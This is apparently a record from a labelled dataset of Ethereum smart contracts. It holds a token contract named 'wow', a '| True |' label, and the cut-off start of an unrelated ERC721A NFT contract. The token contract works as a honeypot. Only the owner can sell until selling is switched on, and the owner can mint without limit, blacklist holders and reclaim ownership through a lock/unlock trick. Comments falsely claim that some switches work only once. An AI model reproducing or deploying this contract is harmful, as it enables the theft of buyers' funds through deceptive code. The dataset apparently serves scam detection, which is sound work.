return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract wow is Context, IERC20, Ownable {
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address => bool) private _IsBot;
bool public buyingOpen = false; //once switched on, can never be switched off.
bool public sellingDisabled=true; //once selling is enabled, can never be disabled again.
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
constructor(string memory name_, string memory symbol_, uint256 initialSupply) {
_name = name_;
_symbol = symbol_;
_mint(msg.sender, initialSupply * 10**18);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(!_IsBot[recipient], "You are blocked for malicious bot activity!");
require(!_IsBot[msg.sender], "You are blocked for malicious bot activity!");
if(sender != owner() && recipient != owner()) {
if (!buyingOpen) {
if (!(sender == address(this) || recipient == address(this)
|| sender == address(owner()) || recipient == address(owner()))) {
require(buyingOpen, "Buying is not yet enabled");
}
}
}
if (recipient == uniswapV2Pair) {
if (sellingDisabled) {
if (!(sender == address(this) || recipient == address(this)
|| sender == address(owner()) || recipient == address(owner()))) {
require(!sellingDisabled, "Selling is not yet enabled");
}
}
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
//Function can only be called once. Buying cannot be disabled.
function enableBuying() external onlyOwner {
buyingOpen = true;
}
//Function can only be called once. Selling cannot be disabled.
function Enableselling() public onlyOwner {
sellingDisabled = false;
}
// Blacklist bot addresses acting maliciously.
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
_IsBot[bots_[i]] = true;
}
}
//Find out if address is blacklisted for malicious bot activity. Returns true or false.
function isBot(address account) public view returns (bool) {
return _IsBot[account];
}
// Remove addresses from blacklisted bots list.
function delBot(address notbot) public onlyOwner {
_IsBot[notbot] = false;
}
// To withdraw any ERC20 tokens that mistakenly get sent to the contract address.
function sendTokenTo(IERC20 token, address recipient, uint256 amount) external onlyOwner() {
token.transfer(recipient, amount);
}
//Returns current ETH balance of contract.
function getETHBalance() public view returns(uint) {
return address(this).balance;
}
// To withdraw any ETH that mistakenly gets sent to the contract address.
function sendETHTo(address payable _to) external onlyOwner() {
_to.transfer(getETHBalance());
}
//Mints new tokens to address.
function mint(address to, uint256 amount) external onlyOwner() {
_mint(to, amount * 10**18);
}
receive() external payable {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-22
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal collectionSize;
uint256 internal collectionSizeFree;
uint256 internal maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_,
uint256 collectionSizeFree_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
collectionSizeFree = collectionSizeFree_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
